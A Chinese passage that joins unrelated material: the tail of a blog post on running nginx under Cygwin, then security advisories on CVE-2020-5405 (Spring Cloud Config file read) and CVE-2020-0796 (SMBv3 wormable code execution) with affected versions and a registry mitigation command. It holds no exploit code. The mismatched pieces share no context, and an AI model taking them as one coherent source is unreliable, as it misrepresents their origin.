nginx!”显示出来就表示nginx已经在运行，如果没有的话就打开logs子目录下的error.log文件，看看到底发生了什么错误。第2种：编译时指定-mno-cygwin选项，这可以生成不需要其它DLL的nginx.exe文件，不过我还没试成功，具体原因也还没找到，如果你试成功了要告诉我一声哟！这两种方法都有一个缺点：虽然nginx已经能独立运行了，但要关闭它，还需要打开cygwin环境，然后ps找到nginx主进程的进程ID，kill掉它；当然也可以用任务管理器强制关闭。不过据我了解在cygwin环境下可以把一个程序编译成Windows服务的，具体怎么做的话要再找找咯！

【漏洞预警】Spring Cloud Config 服务远程任意文件读取漏洞（CVE-2020-5405） 漏洞描述Spring Cloud Config一套开源分布式系统配置服务，为分布式环境提供外部配置服务支持。目前漏洞可利用PoC已在互联网上披露，历史上Spring Cloud Config服务器于2019年4月17日曾爆发过任意文件读取漏洞(CVE-2019-3799)，详情：http://help.aliyun.com/noticelist/articleid/1000130771.html漏洞评级CVE-2020-5405 高危影响版本2.2.x系列：< 2.2.22.1.x系列：< 2.1.7其他较早版本安全版本2.2.x系列：2.2.2 及以上2.1.x系列：2.1.7 及以上安全建议升级Spring Cloud Config至安全版本，并依据Spring官方文档对应用加固：https://cloud.spring.io/spring-cloud-config/multi/multi__spring_cloud_config_server.html#_security相关链接https://pivotal.io/security/cve-2020-5405

【漏洞预警】Windows SMBv3 蠕虫级远程代码执行漏洞（CVE-2020-0796） 漏洞描述针对SMBv3服务器，攻击者可以将特制的数据包发送到SMB服务器来触发漏洞。若要针对SMBv3客户端，攻击者需要配置好一个恶意的SMB服务器，并诱使用户连接该服务器。另据国外安全媒体报道，该漏洞（CVE-2020-0796）具有蠕虫特性。漏洞只影响Windows 10系统和Server 1903、1909系统版本，不影响主流的Windows Server 2008/2012/2016/2019系统，整体风险较低。漏洞评级CVE-2020-0796 高危影响版本Windows Server, version 1909 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based Systems缓解措施针对使用受漏洞影响的Windows系统版本的用户，可使用注册表禁用SMBv3 的compression功能来达到漏洞缓解，命令如下：Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force相关链接https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/adv200005https://www.zdnet.com/article/details-about-new-smb-wormable-bug-leak-in-microsoft-patch-tuesday-snafu/https://blog.talosintelligence.com/2020/03/microsoft-patch-tuesday-march-2020.html